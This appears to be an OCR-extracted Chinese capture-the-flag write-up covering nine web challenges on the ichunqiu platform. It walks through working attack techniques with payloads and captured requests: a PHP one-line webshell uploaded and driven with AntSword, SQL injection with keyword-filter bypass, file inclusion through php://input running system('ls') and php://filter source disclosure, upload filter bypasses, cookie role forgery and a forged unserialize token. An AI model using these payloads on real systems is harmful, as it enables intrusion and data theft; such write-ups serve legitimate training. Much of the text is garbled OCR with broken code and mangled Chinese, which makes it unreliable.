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<?php

include “flag. php”;

$a = @S_REQUEST[ hello’];

if(!preg match( / \w%$/",8a )){
die (" ERROR’ ) ;

eval ("var dump($$a):”);

show source(_ FILE );

2

include "flag.php";
@ ["hello'];
if(!preg_match('/~\w*$/',%a )){

die('ERROR');
1
J
eval("var_dump( ERE
show_source(__FILE_ );

1. WRICE IENRER/AWS/, BITE &8 ¢3a

2. s$as&hello, $$a &/NHLAEE $hello

BETRA2T, ILEE—T

RUEEHEE $GLOBALS

fEH
SIRERERESPTTHANETEE. XFERSITEHH LI E LWEEE, MEH include KSR E, flag FEEEXL
TEp.

3. FiBAfEURLJE IN?hello=GLOBALS, ¥ Z#hellof& NGlobals

LFRPATIE A :



eval ("var_dump( )"
eval("var_dump( )"

eval("var_dump( ")

215 2lflag

array(9) ([*_GET"]=> array(1) { ["hello’]=> string(7) "GLOBALS" } [*_POST"]=> array(0) {} [*_ COOKIE"]=> array(6) { ["UM distinctid"]=> string(58) "16¢755cc73d0-04f7fd3f7b0b4as-116b634a-

144000-16¢755cc73eba" ["chkphone"]=> string(33) "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O00O" [*Hm_Ivt 2d0601bd28de7d49818249cf35d95943"]=> string(21) "1565337111,1565412205"

["ci_session"]=> string(40) "03dc4a098e224309836dea728cd63677c947¢f85" ["Hm_Ipvt 2d0601bd28de7d49818249cf35d95943"]=> string(10) "1565412564" [*_jsluid_h"]=> string(32)

*23801607f3108a7333cff406512302¢9" } [* FILES"]=> array(0) {} ['_REQUEST*]=> array(1) { [*hello"]=> string(7) "GLOBALS" } [*flag”]=> string(38) "flagiE— - B 62 REE" ["d3f0f8"]=>

string(42) "flag{e41e7606-1e7c-4d73-832a-88a1c2db40b2}" ["a"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION* } <?php

include “flag.php”;

$a = @S_REQUEST[ h

if(!preg_match(’ 3
die('ERROR’ ) ;

eval ("var_dump($$a) ;") :
show_source (__FILE_ ) ;
»
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Encryption ~ Encoding~ SQL~ XSS~ Other~ Contribute now! HackBar v2

@ Load URL http://82ad97afd8fb4932890de07 187f8ab65939339d4b8774144.changame.ichungiu.com/?hello=GLOBALS
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http://5148f6d8ce86423fbebc7b685e528e1158e8f71ded9c4442 changame.ichungiu.com
00 :59: 20

-

Flag: [ ‘ ’ $RAr

gmns:  Wlzssz Picgnul B nasFo
EEwriteupwv

BHERR: flaghEREH

{?php

include “flag.php”;

$a = @$ _REQUEST[ hello’];
eval( “var dump(3a):”):
show_source(_ FILE );
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pyload

http



@ ~FEms - m X
AntSword #&HE B[O i
(B | D11113147.239 %) B
D aFEyk (0) < DX#nx (2) »~
g/ ofg - ALE CRE AZEF  ABE - var/www/html/ | > iEE
e & Fob B
=TT www -
i [ flag.php 2019-08-10 20:27:30 83b 0644
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s Psopor ErsFe HEzx
EEwriteupw
BERR: XNERR
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https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=45706

session start();

/3

require(’ . /flag. php’ ) ;
if(!lisset($ SESSION[’ nums’ 1)) {
$ SESSION[ nums' ] = 0;
$ SESSION[ time’] = time();
$ SESSION[ whoami’] = ’ea ;

if($_SESSION[ time’ 1+120<time()) {
session_destroy() ;

$value = $ REQUEST[ value’]:

$str rand = range('a’, 'z’):
$str rands = $str rand[mt rand(0, 25)]. $str rand[mt rand(0, 25)];

if (3 SESSION[ whoami’ |==($valuel0]. $valuell]) && substr(md5($value),5,4)==0) {
$ SESSION[ nums’ ]++;
$ SESSION[ whoami’ | = $str_rands;
echo $str rands;

if (3_SESSION[’ nums’ 1>=10) {
echo $§flag;

show source( FILE );
e

AR

1. SessionF HInum¥JEEME R0, time N4 RTHFIE, whoami¥lib{E Nea.

2. 1202 GRS W . SR )astr_randsBEHLAE 24~ F 8 .

3. whoamifR BE% T2 KvalueEIRTHAL, I HvalueImd5EKIZESAFFIE, KENAKFRFE==0, XFEnum++,
4. whoami=str_rands, fE¥10kJ5, #itiflag.

BT DA R B3 — Ikt 33 % i value S sessionF iIAESE, MM T4t T —Svaluefd, i8I {3 I md5 iR A 56 X #0203 AT AL 2 1 IR R
FKgeid substr(md5($value),5,4)==0f1 A7, FnumsfF{E KT 1081 7T 15 Blflag.
BEASEHA, FOMEET —FREREA:

import requests

url "http://18db51d66abf489ca48f1c310b898ab8e4ba®@cd266e4219.changame.ichunqiu.com/?value[ ]=ea"
al [ "abcdefghijklmnopgrstuvwxyz' ]

S requests.session()

r=s.get(url)

for i in range(20):
url "http://18db51d66abf489ca48f1c310b898ab8e4ba®@cd266e4219.changame.ichunqiu.com/?value[]=" r.content[
0:2]

r=s.get(url)

print r.content
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"BEHR" CTFLEE hBi%

o{E: 50495 27 Web BAMB&EFR: Upload s

FERE: BEAGMEAE, AEXAEE,
tips:flagiEflag.php
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Flag: J ‘ HEar

iz =2 ByStudent s ﬂ Fy—

RS WriteupZREUSR M

WRIEE H #Rn, RIEBR M LR, Efe—HA)iE

=div>
<a href="u/webshell php"> E R </a>
</div=

BE, RIWLET <2php

@ Load URL | http://e531005ce12c44d997a614bf129730b1e3dd22800f1844de.changame.ichungiu.com/u/webshell.php
4 split URL

b Execute

[] Postdata [ | Referrer 4 OxHEX ™» @® %URL ™ & BASE64 ™ Insert string to repla
@=mE~ AcCookiesw »CSsv U=t~ @ER~ @MEEE~ Qe Fmdy JEnr A TS~ WESEAEY (Nxmy

IETCRAFT - Services-
eval($ POST['a']); 7>

Checking http://e531005ce12c44d997a614bf129730b1e3dd22800f1844de.changame.ichungiu.com...

HEERA—AERT XS
BER—AIEARD KA
B —4. FALdiEphp, FrblphpS BipHp#E T 583

script language @ script


https://www.cnblogs.com/u0mo5/p/4901037.html

FTUERE T, RE L. WEIEET))—ERID

=F-E v

L3

URLHfHE ~ |http:,f,faaﬁcﬁc75b73f45c4933ca4fcba9rca751ebcb3121a664626.changa'

EEED b |

RsEE | wenjanl |

HERE  UTRS v

EERD PHP v
HEE

@ default (F385)

O random (FigEE)
() base4

2HERREE ~
< Hillgs ~

@ W = X
AntSword #R3E B[ Es

<| = | |>
= HHEEE (3) B SEER (1) >
URLHE Pt G EHE OFm A= o Bl
Hip://5148T608ceB6423Mebe7b6E 111.13.147.218 0 OmuE o
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http://192.168.17.128/DoraBox/fil 192.168.17.128 31 11:56:30

RIERAUIEE 6 Elflag T .
Web5: SQL

"BER" CTFEE hBi%

oiE: 505 =7 Web BHER: SQL FREE

FERE: HEARSRFRZZNEAN, BihsElE!

http://5a95b950199842f8a82caa3dbbc6516f864110fcd1574b75.changame.ichungiu.com
00 :53: 34

HEATTEN(3) EETEE

Fag: | 2%

WREIHER -Amy_Dan icqf74b{}bd7 Wfox

EEwriteup v

FBHRAR: SQLIEA
flagfEHdf e . B RS EWHEAN . Frile AR R FAE, BN, Eh5H, K
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. 5 C l (i "a3cabe9022785dced07dff4fbdb846e2.changame.ichungiu.com/index.php?id=1 order by 3 ~

@ FFEE o BUUCTF s CTFERE-EWE s 33H7 - TRIE @) CG-CTF ) CTFATE - MEZ2.. & News -Jarvis ) (@ A= @) CTFC

inj code! \

B o ANBHLAERE, BREERETETH4. 25, emmmm. . « BESGRTT. BEREBERIET « #7585
KEEE: —IKFE SR cf SQLIEA ST
RiTJE, BRBMAFE ordoer XFEARA RELRIT .

&« c @ I (D 9842f8aB2caa3db6c6516f864110fcd1574b75.changame.ichungiu.com/index.php?id=1 ord<>er by 3 v

d, FEFE o BUUCTF @) CTFEE-SDRID & 33H7 - TR @) CG-CTF () CTEARE - F#EZ2.. @ News - Jarvis O) () ANAAHI

flagiTEEdERF+)

FIWr BRAL, “27kbR BRI,

@l Load URL {http://c841e5f?0f3f4?a?33cab99022?85dced0?df'f4fbdb84692.changame.ichunqiu.com/index.php?id=‘! union sel<>ect 1,2,3
iy

% split URL

» Execute

[] Postdata [ | Referrer ™ OxHEX ™ & %URL ™» &% BASER4 Insert string to replace| | Insert replacir
@=rm~ AcCookiesv #CSSv [l=mv @EHK~ @RuES~ ey Amcy Jagr ATEY WEERAEY Ly

AIETCRAFT - Services-

kB¢ Since: New Site Rank: - Site Report lll [CN] China Unicom Beijing province network

flagifEdEE+)

2

BETRURRERE. BE. BFR. BRIET . EZselectandfIgad 54T T (sel<>ect an<>d ). &5 Fflag

T | ¢ @A 18dbsid | [ BE

11

& c 6 ® 5a95b9501998428a82caa3db6c6516f864111 @ ev mnmeoe ¢ n & 9
@ FF i & BUUCTF @ CTFEE-SCRIE v 53HE - T @ CG-CTF ] CTFAEE -MEES.. © News - Jarvis O) (& AT

flag{tE2iE =)

flag{e7251f6a-a716-4472-ac09-5c008f90eb10}

test

® D= Oena DEts (Oatees Ons Ors Nrs BeiE o c55ks @ HackBar @ MaxHackBar 3 0 - X

Encryption ~ Encoding~ SQL~ XSS~ Other~ Contribute now! HackBar v2

@ Load URL http://5a95b95019984 2f8a82caa3dbBc6516f864 110fcd1574b75.changame.ichungiu.com/index.php?id=1 union sel<>ect 1,flAg_T5ZNdrm

. ,3 from info
gg Split URL

Execut
2 brecute [0 Postdata [1 Referer [ User Agent [l Cookies Clear All



https://www.cnblogs.com/xishaonian/p/7693136.html

Web6: include

"BEM" CTFEEE 2017 ZHi5

TE: 509 Z£71: Web HEER: include

FEE
SERE: B! EHasERE,
Bl
Flag: [ ] #23r
B - SgDoA H icq_null n wpel
&EEwriteup v
BERR: RS TRR

<?php
show_source(_ FILE );
if (isset ($_REQUEST[ path’])) {

include (§_REQUEST[ path’]);
lelse{

include (" phpinfo. php’ ) ;
1

B O B S T Eho s HA LS DS
K NPHPRE45.6.29, Hallow_url_include’yOn. allow_url_fopenjOff.
Core

| PHP Version ‘ 5.6.29 |
allow_url fopen Off off
allow _url include On e— On

Fir CART LA i php O S EXPOS T4 4%, POSTHe#E I LA R iy @ AT AAS, F 1s BF 450 B .

@l Load URL | http://8adaa306c4674e1dbbede5b5924e5hd1f21351a7277444ba.changame.ichungiu.com/?path=php://input
4 split URL
»  Execute
1 Postdata [] Referrer @& OxHEX 3» €% %URL ¥» @ BASEG4 I | nsert string to replace| | Inser
Post data

(«: ?php system('ls')?=



L

@2m~ Acookiesv £ Cssv [A=iav @EE~ OREEE~ @EtIhey Fingr Lok AT~ WESHEREY N%my

w - Services ,% Since: New Site Rank: - Site Report Hll [CN] China Unicom Chongging Province Network
{?php

show _source( FILE );
if (isset ($_REQUEST[ path’ 1)) {
include (§_REQUEST[ path’ 1) :

lelse!
include (’ info. php’ ) ;
}
dle345aae.php index.php phpinfo.php

83| d1e345aae.php , FHH php://filter tATRH SO 31T 2EL, Base64i%#—T, BEIW[5Zlflag

B split URL

' Execute

-

@l Load URL fttp:flﬂadaa306c4674e1db634e5b592495bd1 f21351a7277444ba.changame.ichungiu.com/?path=php://filter/convert.base64- Encode/resource:kllegilSaae.php

Insert replacing 5m'ng| [ Replace All 38 =

[] postdata [ | Referrer 4% OxHEX 3» @ %URL ¥ ¥ BASE64 I |.'nserr string to replace
@@~ Acookiesw £ Cssv [l=m~ @EE~ ORTEEEY Gty Jnicr Sanr ATS~ WESEASBy [LsEEy

W - Servicest | midll Since: New Site Rank: - Site Report lll [CN] China Unicom Chongging Province Network
<?php

show _source( FILE );
if(isset($ _REQUEST[ path’'1)){
include (§_REQUEST[ path’ 1) ;

telse

1
PD9waHAgCIRMbGFNPSIMmbGFne2QyMGUWMTEYLWITYTUtNDcwMS04ZGU2LTRjYjk4YjM3YjMxN30iOwo=

include ( phpinfo. php’ ) ;

Web7: who are you?

201755 @I Raamiiis L3

oiE: 10045 ZERY: Web HH®E#R: who are you? FEE

BHEWE: http//106.75.72.168:2222
HEE, W, BEEHL?

Flag: { l s

maes:  lezes yerE S BE=Tvnh
HEEwriteup v

B E#R: who are you?(fR2#E? ). —MRIEH T ~Zadmin

€)> ¢ @ - ® 106.75.72.168:2222
‘ﬁfim & BUUCTF & CTFEIE-SRIE - 32347 -xRm @) ce-CTF

Sorry. You have no permissions.



A, KI—HF15EBaseb4 ) F4F

‘! Burp Suite Professional v2.1 - Temporary Project - licensed to Larry Lau - O X

Burp Project Intruder Repeater Window Help

Dashboard | Target | Frox Intruder | Repeater | Sequencer | Decoder | Comparer | Extender Project options | User options
g ¥ P q P ] P P

[Iniemep& T HTTP history TWehSockets history TOptions ]

9/») Request to http/106.75.72.168:2222

|  Forward l l Drop J _ Intercept is an | l Action | ..-.'_“.o.-?i.-ne.--.:._'."..'3.;5.~.'. . G @

[Raw..T Params THeade:s THex ]
GET /HTTP/M.1 A
-

Host: 106.75.72.168:2222

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWG4, rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml application/xml;q=0.9,*/*,q=0.8

Accept-Language: zh-CM,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: roIe=IZj01 OiJoaHJmZyl7

X-Forwarded-For: 8.8.8.8

Connection: close

Upgrade-Insecure-Requests: 1

@ | =< l + H = i Type a search term 0 matches

Baseb4fR B &R Z: f:5:"thrfg";

fEthrfg#e Biadmin, Base64im#, mMELRE#Hrolef. KBEKFFEflag.

ZRALR, ME—TREHEE, ot13mEGFHELELEAE13). . . BESER: guest.
WiAE K. AEEHRULLBFEE], admin(EEZK), EBguestCREMK ).
Frladmin, rot13f% . Base64m# . M#ELREHrolefd, KEHFH

@ Lload URL | http://106.75.72.168:2222/
& split URL

b Execute

[ ] Postdata [ | Referrer 4% OxHEX ™ &= %URL ™ @& BASEd
@z=m~ AcCookiesw 2 Cssv [lxta~ @mEE~ @MEEE~ QEmihaey Jimc Fwmsr ATE~ |
AMETCRAFT - Services- | Checking http://106.75.72.168...

Hello admin, now you can upload something you are easy to forget.

R B4R, BEHEIRD

A

<body>
(!— $filename = § POST[ filename’]; $data = § POST[ data’]; —>Hello admin,
</html>




REARRZ— NS, — N REIE
Jef)iE—TAE&: filename=1.php&data=<?phpinfo();?>
B3INO NO NO

Burp Suite Professional v2.1 - Temporary Project - licensed to Larry_Lau - | X

Burp Project Intruder Repeater Window Help

(Dashhoard TTarget TF‘rox‘_« Tlntruder 1 Repeater rSequencer TDecoder TComparerTExtender T Project options TUser options ]

1 = |2 =

|' Go .i Cance! < |v > v Target: http://106.75.72.168:2222 f@

Request

Response
[Raw TF“arams THeaders THex ] [Raw IHeaders THex THTML TRender ]
Accept-Language: zh-CM,zh;g=0.8,en-US;q=0.5,en;q=0.3 A Vary: Accept-Encoding A
Accept-Encoding: gzip, deflate Content-Length: 74
DMNT: 1 Connection: close
Cookie: role=Zjo1 OiJchp2YSIT| Content-Type: text/html
X-Forwarded-For: 8.8.8.8 n
Connection: close <!DOCTYPE htmi>
Upgrade-Insecure-Requests: 1 <htmil>
Content-Type: application/x-www-form-urlencoded <head>
Content-Length: 39 ditle=</title=
</head>
filename=1._php&data=<?php phpinfo(); 2> <body>
[{ No No No! T{

@ | < || + * Type a search term 0 matches @ s + = Type a search term 0 matches

Daone

285 bytes | 23 millis

RriZRH IENILE. ANase, Bk EEE:

FI B S il RN S 4

php i) R B — B TEPATEA R, ABARLSH, —H#aesd. PreAw Ll data[], B filename=1.php&data[]=<?
phpinfo();?> . B Eflag 4

Burp Suite Professional v2.1 - Temporary Project - licensed to Larry Lau

Burp Project Intruder Repeater Window Help

(Dashhoard TTarget TF'I'DX‘_J Tlntruder 1 Repeater rSequencer TDecoder TComparerTExtender T Project options TUser options ]

1 = |2 =

i Go .i Cancel < v S [w Target: http://106.75.72.168:2222 f@

Request

Response
[Raw TF’&rams THeaders THex ] [Raw IHeaders THex THTML TRender ]
Accept-Language: zh-CN,zh;q=0.8,en-U5;q=0.5,en;q=0.3 A A
Accept-Encoding: gzip, deflate <IDOCTYPE htmi>
DMT: 1 <htmi>
Cookie: role=Zjo10iJucXp2¥SsI7 <head>
X-Forwarded-For: 8.8.8.8 il <tfitle=<ftitle=
Connection: close <fhead=>
Upgrade-Insecure-Requests: 1 <body=>
Content-Type: application/x-www-form-urlencoded your file is in

Content-Length: 41 Juploads/d3242eb073e29c6596021a8b9579142d1.php</body>

</htmi>

: d

@ | = + > Type a search term 0 matches @ [ = + = Type a search ferm 0 matches

Done

filename=1 _php&data[l]=<?php phpinfo(); 7>

356 bytes | 27 millis



https://www.jianshu.com/p/8e3b9d056da6?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

Vi, 1§%lflag

Web8: broken



B H R $27~ T broken

C @ ® 106.75.72.168:1111
@ FFELE & BUUCTF s CTFERE-TIIE 5 5R3MHF - TR @) CG-CTF () CTRAEE - MEEL.. @ News - Jarvis

Hi, a CTFer. You got a file, but it looks like being broken.

<« C @ @ 106.75.72.168:1111/fffffaaakk
@ FFLEE & BUUCTF s CTREFAE-ZRIE o 33H7 - TRIE @ CG-CTF ) CTRARE - MEZ2.. @& N

[LQLI+0D) [+ L1+ (0 L1+ LT 01D D+ LI+ [+ 1T 1+ L LI+ 0D) LY+ L1+ + LT T+ QUL LT 0D) LTI+ (LT
11+ TO+0D) O+ QU IT+01) [+ D0+ D00+ 1]+ UL+ 00) [+ 0111+ 00) D1+ [0+ 0+ [+ 1+ [0+
[l LT+ 0] b (0 [1#00) [+ 401 11) Tl LI [0 B (O ELT 1+ LT) [ I+LT T+ [ []) D1+ ] 14T
(D101 DD+ DT+ (L DD O+ QU TTHLT) DD [T [T+ (D) [+ DT 1HDD L
[11+(1ITI+[]) DRIT1+ (VLLT+DT) DU+ D LT e [T (0 D LT) [+ 0400 1) D+ [T T+CL LT+
({111 DI+HD) DAL DT+ O TT00) DR300 DTHET) DAL T [T T+ (LETT ) DL [T
[1+0D [+H1+ (0 IO+0D D+ 0040+ (0 [T+0D) #0110 D+ DR+ 00+ T+ 00 L

BRSNS, RABEBZHHE, £ jsfuck Wi, BEM, WHEHEK. FABE SRR THHRE, T #—
T jsfuck i ITIEE .

JSfuck JiF 2 it —

JSFuck

FrCAZE—A [ ERLZMAS 1, jafuckf@ 2 3t

flag is not here

emmm, flagi¥#EX? | MiZEFEBRMHT. . F2T. .
N — i KA %

RoRs¥es, BRLABRITalert, FRLABRYE —MNEEEHjsfuckBBiRMEE “www jsfuck.com/ * BEig Aalert(*flag is hot here "), #HEIEE5903 M7, MMAEA B9=£505484
=

77, BXEETE TS MNEE: MZEEEENAERER, MESEERlsk. EXEEE T SRS rjsfuckiian, SRENEEMNIE: eval => [I["filter]["constructor”](
CODE)() . MEERINatbfaxMal. FFENlagfECODESRS,
0x03 &I

ATRIFRAEE, HRoERIRjsfucktiSmaEREETR, RIfiter 1385, FOH[ I-REACEREEREARET, SHERNESRSE: iter. FE, HEKH constructor [HEIKIAE,
EEEAmay [ “constructor” ], T, EBEWEHLINASHE, SHESENEANES, B TNHMECODEE, ARMEIEHEPIET, SFREBH: "var flag=\"flagi s,
alert('flag is not here’);" [XEZFFREfagT, {FM1HSE=FHiE—TE]

emmm, & JTE—R, REEEHNHI.

Web9: Do you know upload?


https://blog.csdn.net/qq_36539075/article/details/79946099
https://github.com/aemkei/jsfuck

F=E BEA EEEERNETEZEAE

o{E: 10057 27 Web HBBEEFR: Do you know upload? FRES

EERE: IR, D,

http://49d039a/ 146e49639af2cda94ec803e60202b349bb8/497a.changame.ichungiu.com
00 : 59: 59

Flag: [ ] 12ar
FREHE - pcat ! qwer1234 Limpid

EHSwriteup v

Do you know upload? ({RAENTESCH BAEE? ), RAESCH L4E. #NEEEFIRDG
o

inelude (§ GET[ file’]):
—_—>

1R B B 7T PAH phpth Hh( php: //Filter )iEEUIERY

@l Load URL
@ split URL

http://49d039a7146e49639%af2cdad4ec803e60202b849bb87497a.changame.ichungiu.com/?file= php://filter/convert base64-encode/resource=index.php

¥ Execute

[] Postdata [ Referrer 4™ OxHEX 3» &% %URL ¥ &% BASEG4 I ‘.Fnserrsm'ng to replace

@z=m~ LcCookiesw 4 Css¥ A==~ @EE~ @NEES~ [y ARy JHEkr ATEY @MESFAE [1a5E
” - Servicesr

BR L&

Insert replacing string| ] Replace All

Checking http://49d039a7 146e49639af2cda94ecB803e60202b849bb87497a.changame.ichunqgiu.com...

Filename: HoEPEs

PGhObWw+DQo8aGVhZD48bWV0YSBjaGFyc2VOPS)1dGYtOCIgLz4NCjx0aXRsZT5VeGxvYWQSEL3RpdGxIPgOKPCO0ZWFkPgOKDQo8Y

Baseb4f# %, HBRJRILMT:




html

head><meta charset="utf-8"
title>Upload</title

head

body
hi>E kR EfE</hl

form action="" method="post" enctype="multipart/form-data"
label for="file">Filename:</label
input type="hidden" name="dir" value="/uploads/"
input type="file" name="file" id="file"
br
input type="submit" name="submit" value="Submit"

form

include( ['file']);

include( ['file']);
["file"]["name"];

explode('."' , )5

if(@isset( [submit])){
if ((( ["file"]["type"] "image/gif")
["file"]["type"] == "image/jpeg")
["file"]["type"] "image/pjpeg"))){

if ( ["file"]["error"] 0){
echo "Return Code: " . ["file"]["error"] . "<br />";
}else{
echo "Upload: " . ["file"]["name"] . "<br />";
echo "Type: " . ["file"]["type"] . "<br />";
echo "Size: " . ( ["file"]["size"] 1024) . " Kb<br />";
//echo "Temp file: " . $ FILES["file"]["tmp_name"] . "<br />";
if (file_exists("upload/" . ["file"]["name"])){
echo ["file"]["name"] . " already exists. ";
}else{
move_uploaded_file( ["file"]["tmp_name"],
"upload/" . ["file"]["name"]);
echo "Stored in: " . "upload/" . ["file"]["name"];

}
}else{

echo "<script>alert('XHREARY'" )</script>";
echo "Invalid file";
bj
telse{
// echo "Invalid file";
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Upload: webshell.php

Type: image/jpeg

Size: 0.0263671875 Kb
Stored in: upload/webshell.php
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| Dashboard | Target [me [ ntruder W Seq*%em.’-e.flﬂémde' JC*.’".‘PM | Extender | Project options J User options |
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l Go | Cancel < |T | > Target: http://3111b7bcTb3c44d0aBe2b5al1e3bf27c573877a69dcb04543.changame.ich j @
Request Response
Params | Headers | Hex Raw L Hex | HTML | Render
GET /member_php HTTP/1.1 A Name ‘ Value J
i Connection close
3111b7bc7b3c44d0a8e2b5aledbi27c573877a69dch0454 x 2
3.changame.ichungiu.com Va“_" SfEepEEncning
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; I Expires Thu. 18 Nov 1981 08:52:00 GMT
rv:48.0) Gecko/20100101 Firefox/48.0 Cache-Contral no-store, no-cache, must-revalidate, ..
Accept: Pragma no-cache
text/html,application/xhtml+xml,application/xml;q=0.9,**;q= ﬁﬁg" ] |p {
Sl j K
08 Vary Accept-Encoding
Accept-Language: zh-CN,zh;q=0.8 en-US;q=0.5,en;q=0.3 ¥ Via 18l Ad200ed -




Accept-Encoding: gzip, deflate
DMT: 1
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(Dashhoard I Target I Proxy ] Intruder 1&91)93&3{ I Sequencer I Decoder1 Comparer IExLender I Project options I User options ]

i- Go | Cancel f Sl L > |w

Target: http://3111bTbc7b3c44d0aBe2b5ale3bf27c573877a69dch04543.changame.ichungiu.com ﬁ? @

UM_distinctid=16ce696c0bc630-0400e611c9deeb8-13696
34a-144000-16ce696c0be159;

Hm_Ivt 2d0601bd28de7d49818249¢c35d95943=1567236
736;
Hm_lpvt_2d0601bd28de7d49818249¢135d95943=156723
6895; __|sluid_h=d90d473775d8906b339a697e939b2ef5;
PHPSESSID=16abcs4553gh1ebtS5cqnr47c7
X-Forwarded-For: 8.8.8.8

Connection: close

Upgrade-Insecure-Requests: 1

show: 1
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Request Response
[RWT Params THeaders Hex [ﬂw IHeaders | Hex | HTML T Render ]
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 A <meta charset="utf-8" /> i
Accept-Encoding: gzip, deflate </head>
DNT: 1 <l- <7php
Cookie: include 'common.php';

Srequset = array_merge(§_GET, § POST, § SESSION, § COOKIE);
class db
£

public Swhere;

function __wakeupy{)

. J
ifffempty(§this->where})
{
Sthis->select{Sthis->where);
}
}
function select{$where)
{ -
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include ‘common.php’;
array_merge(

class db

{

public 5

function _ wakeup()

{
if(lempty( where))
{

select( where);

function select(
{
mysql_query('select * from user where '
return @mysql fetch_array( );
}
}

if(isset( ["token']))
{
unserialize(gzuncompress(base64_decode(
new db();
select('user=\""'.mysql real escape_string(

if( ["user'] 'ichunqiu')

{

echo

}else if( ["pass'] ['pass']){

echo 'unserialize injection!!’;

}else{

echo "(Z ‘o’)’ ~LL;
b
}else{

header('Location: index.php?error=1");

}

['token'])));

[‘user'])."\"");
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- bk i 5 eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4o0zSvMLFWyrgUAo4oKXA==

2 $user="ichungiu';

3 $token=array('user'=>%user);

4  $token=base6d_encode(gzcompress(serialize($token)));

5 echo $token;
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Request

Raw | Params | Headers | Hex

Target: http://3111b7bc7b3c44d0aBe2bbale3bf27c573877a69dch04543.changame.ichungiu.com d @

Response

Raw | Headers | Hex | HTML | Render

GET /member.php HTTP/1.1

Host: 3111b7bc7b3c44d0ade2b5a1e3bf27c573877a69dch04543 changame ichungiu.com
User-Agent: Mozilla/5.0 (Windows MT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/46.0
Accept: texthtm| 1 nl:q=0.9,"*q=0.8

Accept-Language: zh-CN zh;q=0.8,en-US,g=0.5.en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: UM_distinctid=16ce696c0bc630-0400e611c9deeb8-1369634a-144000-16ce696c0be159;

__jsluid_h=d90d47377508906b339a691e939h2ef5;
FHPSESSID:1Gam:§4553gmemﬁﬁcqnr47c?;mken:eJxLxDan\GZMrFSK\1OLVKyL}aysF{KTMszvMLFVWrgUAomKXA::
X-Forwarded-For 8.8 8.8

Connection: close

Upgrade-Insecure-Requests: 1

show: 1

Hm_Ivt_2d0601bd28de7d49818249c135d95943=1567236736; HM_Ipvt_2d0601bd28de7d49818249c135d95943=1567236895;
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Done
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{ A
Siogin = Tall (base64_ qusetftoken’] 2
Sdb = new dby);
Srow = Sob->select{ user=\".mysqi_real_escape_string(Sloginfuser’).
if(Sfoginfuser'] === chungiu'}
{
echo $flag;
Jelse if(Srow['pass] == Siogin['passTHi{
echo ‘unseriaiize injection!t’;
Jelsef
egho? ' Ov) —1
}
Jelsef T
‘headeNl ocation: index php?error=1");
i
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